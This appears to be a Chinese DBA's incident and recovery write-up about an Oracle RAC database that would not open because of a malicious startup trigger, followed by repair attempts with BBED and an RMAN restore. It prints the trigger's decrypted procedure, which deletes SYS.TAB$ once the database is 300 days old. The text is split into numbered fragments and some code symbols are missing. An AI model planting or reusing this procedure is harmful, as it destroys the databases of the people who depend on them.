DBMS_SUPPORT_DBMMONITOR触发器导致RAC重启无法启动问题处理

1、DBMS_SUPPORT_DBMMONITOR触发器导致RAC重启无法启动问题处理-数据库节点68.105.245.11 stxckydb168.105.245.12 stxckydb2-故障现象2020年1月11日（周六）机房断电后，数据库无法正常启动，具体故障如下：SQL> alter database open;alter database open*ERROR at line 1:ORA-01092: ORACLE instance terminated. Disconnection forcedORA-00704: bootstrap process failureORA-00

2、704: bootstrap process failureORA-00600: internal error code, arguments: 16703, 1403, 20, , , , , , , , Process ID: 67649Session ID: 901 Serial number: 119gridstxckydb1 $ srvctl start database -d xcky;PRCR-1079 : Failed to start resource ora.xcky.dbCRS-5017: The resource action "ora.xcky.db sta

3、rt" encountered the following error:ORA-01092: ORACLE instance terminated. Disconnection forcedORA-00704: bootstrap process failureORA-00704: bootstrap process failureORA-00600: internal error code, arguments: 16703, 1403, 20, , , , , , , , , Process ID: 26030Session ID: 881 Serial number: 1. F

4、or details refer to "(:CLSN00107:)" in "/u01/app/11.2.0.4/grid/log/stxckydb1/agent/crsd/oraagent_oracle/oraagent_oracle.log".CRS-2674: Start of 'ora.xcky.db' on 'stxckydb1' failedCRS-5017: The resource action "ora.xcky.db start" encountered the following

5、 error:ORA-01092: ORACLE instance terminated. Disconnection forcedORA-00704: bootstrap process failureORA-00704: bootstrap process failureORA-00600: internal error code, arguments: 16703, 1403, 20, , , , , , , , , Process ID: 29933Session ID: 881 Serial number: 1. For details refer to "(:CLSN00

6、107:)" in "/u01/app/11.2.0.4/grid/log/stxckydb2/agent/crsd/oraagent_oracle/oraagent_oracle.log".CRS-2674: Start of 'ora.xcky.db' on 'stxckydb2' failedCRS-2632: There are no more servers to try to place resource 'ora.xcky.db' on that would satisfy its placement

7、policy-问题原因查找select object_name from dba_objects where object_type='TRIGGER' and owner='SYS' -通过这个语句查找一个异常触发器DBMS_SUPPORT_DBMMONITOR-触发器内容PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGERcreate or replace trigger DBMS_SUPPORT_DBMONITORafter startup on databasedeclarebegin DBMS_SUPPORT_DBM

8、ONITORPend;-DBMS_SUPPORT_DBMMONITORP存储过程内容PROCEDURE DBMS_SUPPORT_DBMONITORP ISDATE1 INT :=10;BEGINSELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;IF (DATE1>=300) THENEXECUTE IMMEDIATE 'create table ORACHK'|SUBSTR(SYS_GUID,10)|' tablespace system as select * from sys.tab$&#

9、39;DELETE SYS.TAB$;COMMIT;EXECUTE IMMEDIATE 'alter system checkpoint'END IF;END;这个触发器执行的是前面的加密代码，存储过程，这个存储过程解密后的代码如上，其代码逻辑就是，判断数据库的创建时间大于 300 天，然后创建一个备份表，备份 tab$ 内容之后，清空 TAB$ 表。-问题处理过程1、启用10046跟踪一下问题的出现位置startup mount;alter session set tracefile_identifier='maihuajin'alter session se

10、t events '10046 trace name context forever,level 12'alter database open;alter session set events '10046 trace name context off'-根据trace记录查出损坏的对象select object_name from dba_objects where object_id=20;ICOL$-参照网上资料文档，计划通过BBED工具修改system数据文件-备份参数文件和控制文件create pfile='/home/oracle/pfile

11、20200113.ora' from spfile;alter database backup controlfile to trace as '/home/oracle/control_rebuidnew.trc'-配置BBED工具-在9i/10g连接生成bbed:cd $ORACLE_HOME/rdbms/libmake -f ins_rdbms.mk $ORACLE_HOME/rdbms/lib/bbed-把BBED移植到环境中去scp -P 10022 /u01/app/oracle/product/10.2.0/db_1/rdbms/lib/'ssbb

12、ded.o','sbbdpt.o' root68.105.245.11:/u01/app/oracle/product/11.2.0.4/dbhome_1/rdbms/libscp -P 10022 /u01/app/oracle/product/10.2.0/db_1/rdbms/mesg/'bbedus.msb','bbedus.msg','bbedzhs.msb' oracle68.105.245.11:/u01/app/oracle/product/11.2.0.4/dbhome_1/mesg-相应修改对应属主ch

13、own oracle:oinstall ssbbded.ochown oracle:oinstall sbbdpt.ochown -R oracle:oinstall bbedus.msbchown -R oracle:oinstall bbedus.msgchown -R oracle:oinstall bbedzhs.msb-生成BBED执行文件make -f $ORACLE_HOME/rdbms/lib/ins_rdbms.mk BBED=$ORACLE_HOME/bin/bbed $ORACLE_HOME/bin/bbed-BBED默认密码 blockedit-确定数据库open需要访

14、问哪些核心基表，获取BBED修改语句找到同样环境的数据库（数据库），新建数据库实例，做open时的10046，过程如下：1、启用10046跟踪一下问题的出现位置startup mount;alter session set tracefile_identifier='maihuajin'alter session set events '10046 trace name context forever,level 12'alter database open;alter session set events '10046 trace name conte

15、xt off'2、简单的对10046 trace文件进行筛选则可以找到这些基表的obj#，并在一台同平台同版本的数据库上查询这些对象的rdba地址以及其他信息(1)oracletest $grep "TABLE ACCESS" /u01/app/oracle/diag/rdbms/stxcky/stxcky1/trace/stxcky1_ora_18897_maihuajin.trc|awk 'print$7'|sort|uniq|sed 's/obj=/,/'|awk 'printf $1'|sed 's/,

16、/'(2)SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID)FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_IDFROM TAB$ a,obj$ b WHERE a.obj#=b.obj#AND A.OBJ# IN (14,15,151,16,168,17,171,177,178,18,180,19,198,20,202,205,21,22,237,253,255,262,31,32,326,328,330,364,367

17、8,369,371,4,4209,42280,438,4570,4580,4582,4588,4593,460,4787,5,56,57,571,606,610,63,68,69,70,706,708,71,710,73,732,737,74,740,7496,75,76,800,801,802,81,83,84,85,86,87,891,9183,92,93,96,98)order by 6,7;(3)SELECT DISTINCT'copy file 2 block '|block_id|' to file '|FILE_ID|' block 

18、9;|BLOCK_ID FROM(SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID)FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_IDFROM TAB$ a,obj$ b WHERE a.obj#=b.obj# AND A.OBJ# IN (14,15,151,16,168,17,171,177,178,18,180,19,198,20,202,205,21,22,237,253,255,262,31,32,326,328,33

19、0,364,3678,369,371,4,4209,42280,438,4570,4580,4582,4588,4593,460,4787,5,56,57,571,606,610,63,68,69,70,706,708,71,710,73,732,737,74,740,7496,75,76,800,801,802,81,83,84,85,86,87,891,9183,92,93,96,98);(4)获取bbed修改语句：copy file 2 block 156 to file 1 block 156copy file 2 block 160 to file 1 block 160copy f

20、ile 2 block 3339 to file 1 block 3339.(省略)3、把环境新创建的实例中的system数据文件和环境中的system数据文件分表拷贝到数据库节点1（stxckydb1）文件系统上，（1）、构建bbed parfile文件-/home/oracle/bbed.parblocksize=8192listfile=/home/oracle/filelist.txtmode=edit-filelist.txt文件内容gridstxckydb1 oracle$ cat filelist.txt 1 /home/grid/stsystembackup/SYSTEM.25

21、6.1001244551 -数据库拷贝（从ASM文件系统拷贝出来）2 /home/grid/SYSTEM.2606.1029669003 -数据库拷贝（2）、使用bbed工具执行相应命令cd $ORACLE_HOME/bin./bbed parfile=/home/oracle/bbed.paroraclestxckydb1 bin$ ./bbed parfile=/home/oracle/bbed.parPassword: BBED: Release 2.0.0.0.0 - Limited Production on Wed Jan 15 11:14:35 2020Copyright (c)

22、 1982, 2011, Oracle and/or its affiliates. All rights reserved.* ! For Oracle Internal Use only ! *BBED> info File# Name Size(blks) - - - 1 /home/grid/stsystembackup/SYSTEM.256.1001244551 0 2 /home/grid/SYSTEM.2606.1029669003 0BBED> copy file 2 block 156 to file 1 block 156.(省略)(3)把bbed修改的文件复制

23、会ASMASMCMD>rm SYSTEM.256.1001244551ASMCMD>cp /home/grid/stsystembackup/SYSTEM.256.1001244551 +data/xcky/datafile/SYSTEM.256.1001244551_mai -数据文件后带数字无法复制-到asmcmd命令窗口中重命名文件名称（不成功）rman>catalog start with '+data/xcky/datafile'rman>run set newname for datafile 1 to '+data/xcky/dat

24、afile/SYSTEM.256.1001244551'switch datafile 1;-重建控制文件，并修改控制文件对应的system数据文件名称为新名称（SYSTEM.256.1001244551_mai）-修改集群模式alter system set cluster_database=FALSE scope=spfile sid='*'-执行重建控制文件脚本/home/oracle/controlfile_rebuild.txt(4)、打开数据库sql>alter databse mount;sql>alter database open;alte

25、r database open*ERROR at line 1:ORA-01092: ORACLE instance terminated. Disconnection forcedORA-00704: bootstrap process failureORA-00704: bootstrap process failureORA-00600: internal error code, arguments: 16703, 1403, 4, , , , , , , , Process ID: 15751Session ID: 781Serial number: 3用BBED工具恢复失败，重新计划

26、从Rman备份进行数据库恢复。-用rman恢复system数据文件-恢复控制文件restore controlfile from '/backup/ctl_20200110_0juljafc_1_1.rman'-恢复datafile 1RMAN>start mount;runrestore datafile 1;recover datafile 1;recover datafile 1;报错，恢复失败-用rman恢复全库(database)-全库恢复/home/oracle/restore.rcvrunallocate channel c1 device type disk;allocate channel c2 device type disk;restore database;recover database;release channel c1;release channel c2;-封装全库恢复脚本/home/oracle/recover.shsu - oracle